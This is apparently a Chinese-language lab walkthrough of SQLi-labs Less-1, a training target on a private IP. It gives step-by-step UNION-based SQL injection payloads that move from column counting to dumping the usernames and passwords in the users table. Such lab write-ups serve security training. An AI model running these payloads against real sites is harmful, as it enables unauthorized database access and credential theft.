题目类型:基于报错的GET单引号字符型注入
测试地址:http://192.168.101.9/sqlilabs/Less-1/?id=1
访问该网址,页面返回结果如图
0x01
判断注入参数类型
在URL后添加一个单引号 ,页面报错。根据报错信息判断,此处为字符型注入。
页面返回结果如图
0x02
判断字段数量
根据order by语句和错误提示,得出字段数为3。
Payload -> 192.168.101.9/sqlilabs/Less-1/?id=1′ order by 3–+
页面返回结果如图
0x03
判断是否回显及回显位置
将前面的id改为-1,根据union语句,得出回显位置为2,3。
Payload -> 192.168.101.9/sqlilabs/Less-1/?id=-1′ union select 1,2,3–+
如图所示
0x04
查询数据库名称
根据回显位置,将对应sql语句放置在2和3处。
Payload -> 192.168.101.9/sqlilabs/Less-1/?id=-1′ union select 1,version(),database()–+
页面返回结果如图
0x05
查询表名
数据版本为5.0以上,从默认表information_schema中取数。
Payload -> 192.168.101.9/sqlilabs/Less-1/?id=-1′ union select 1,version(),group_concat(table_name) from information_schema.tables where table_schema=’security’–+
页面返回结果如图
0x06
查询列名
Payload -> 192.168.101.9/sqlilabs/Less-1/?id=-1′ union select 1,version(),group_concat(column_name) from information_schema.columns where table_name=’users’–+
页面返回结果如图
0x07
查询数据
Payload -> 192.168.101.9/sqlilabs/Less-1/?id=-1′ union select 1,group_concat(username),group_concat(password) from users–+
页面返回结果如图
(
Bingo
!拿到后台管理员
admin
)